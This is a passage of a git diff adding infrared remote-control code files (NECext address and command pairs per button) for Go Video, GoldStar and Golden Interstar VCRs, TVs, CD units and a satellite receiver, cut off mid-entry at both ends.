CHANNEL_- +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 0E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 0F 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 10 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 13 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 14 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 17 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 18 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 1C 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 1F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 40 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 41 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 42 00 00 00 +# +name: PLAY_OPTIONS +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 43 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 47 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4A 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4B 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4C 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4E 00 00 00 +# +name: GUIDER +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4F 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 50 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 54 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 55 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/132,98.ir b/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/132,98.ir new file mode 100644 index 000000000..7a47b14f9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/132,98.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 00 00 00 00 +# +name: CH_V +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 01 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 02 00 00 00 +# +name: PLAY/ATR_> +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 03 00 00 00 +# +name: STOP/EJ_[] +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 04 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 05 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 06 00 00 00 +# +name: CH_^ +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 07 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 08 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 09 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 0A 00 00 00 +# +name: LCV_(CHANGE) +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 0B 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 0C 00 00 00 +# +name: MUTE_(SELECT) +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 0D 00 00 00 +# +name: CLK/CTR +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 0E 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 0F 00 00 00 +# +name: 0_(AUX) +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 11 00 00 00 +# +name: 2_(TRK_-) +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 12 00 00 00 +# +name: 3_(TRK_+) +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 14 00 00 00 +# +name: 5_(PICTURE_-) +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 15 00 00 00 +# +name: 6_(PICTURE_+) +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 17 00 00 00 +# +name: 8_(SLOW_-) +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 18 00 00 00 +# +name: 9_(SLOW_+) +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 19 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 1A 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 1B 00 00 00 +# +name: COPY +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 1C 00 00 00 +# +name: DECK_SELECT +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 1D 00 00 00 +# +name: SKIP_(ZERO_RTN) +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 1E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 84 62 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/5,5.ir new file mode 100644 index 000000000..33d5d0d0f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/5,5.ir @@ -0,0 +1,380 @@ +Filetype: IR signals file +Version: 1 +# +name: SKIP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 00 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 07 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: SLOW_+_^ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: STOP/EJECT_[] +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: SLOW_-_V +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: PLAY/LOAD_> +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1C 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 22 00 00 00 +# +name: VHS +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: 100+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 26 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: TRACKING/MENU_^ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: TRACKING/MENU_V +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: CLK/CTR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 31 00 00 00 +# +name: SP/SLP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: ATR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3C 00 00 00 +# +name: SHUTTLE_BEGIN_< +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 42 00 00 00 +# +name: TRK/MENU_^ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 42 00 00 00 +# +name: SHUTTLE_END_> +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 43 00 00 00 +# +name: TRK/MENU_V +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 43 00 00 00 +# +name: SCENE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 4C 00 00 00 +# +name: BEGIN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 4D 00 00 00 +# +name: END +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 4E 00 00 00 +# +name: LCV +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 54 00 00 00 +# +name: LAST_CHANNEL +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 54 00 00 00 +# +name: QUIT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 58 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 59 00 00 00 +# +name: LINE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 5A 00 00 00 +# +name: 8MM +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 5B 00 00 00 +# +name: DECK_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 5C 00 00 00 +# +name: SYNC_EDIT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 5C 00 00 00 +# +name: DECK_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 5D 00 00 00 +# +name: 8MM/VHS +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 5D 00 00 00 +# +name: COPY_TAPE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/7,7.ir new file mode 100644 index 000000000..caff1953f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/7,7.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir new file mode 100644 index 000000000..7d851ff56 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: prup +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: prdown +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: tvav +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: qview +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: lowhigh +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: psm +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir new file mode 100644 index 000000000..40c9d5898 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: f/a +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: PrUp +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 18 00 00 00 +# +name: PrDown +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: trackUp +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: trackDown +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: cl/cnt +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4C 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: TU/AV +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir new file mode 100644 index 000000000..ebe4ba240 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: A.REPEART +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: STILL/F.ADV +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: TRK+ +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: TRK- +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: A.TRK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir new file mode 100644 index 000000000..8c76338cf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: FRWD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 82 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 83 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 89 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 8E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 90 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir b/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir new file mode 100644 index 000000000..0daa0dcf0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 00 00 00 00 +# +name: mw +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 01 00 00 00 +# +name: lw +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 02 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 03 00 00 00 +# +name: ply/pau +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 04 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 05 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 06 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 07 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 08 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 09 00 00 00 +# +name: pre- +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 12 00 00 00 +# +name: pre+ +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 17 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 1E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 1F 00 00 00 +# +name: eqpatt +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 40 00 00 00 +# +name: dskip +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 4A 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 4D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 4E 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 50 00 00 00 +# +name: remain +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 51 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/GoldStar/VCR/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/GoldStar/VCR/110,-1.ir new file mode 100644 index 000000000..c55c85460 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/GoldStar/VCR/110,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir b/assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir new file mode 100644 index 000000000..b4c75fadf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 59 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 0D 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 59 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 5E 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 0C 00 00 00 +# +name: V.FORMAT +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 41 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 44 00 00 00 +# +name: FFWD +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 45 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 46 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 47 00 00 00 +# +name: TTX/RED +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 05 00 00 00 +# +name: SUB.T/GREEN +type: parsed +protocol: NECext +address: 80 FF 00 00 +command: 09 00 00 00 +# +name: 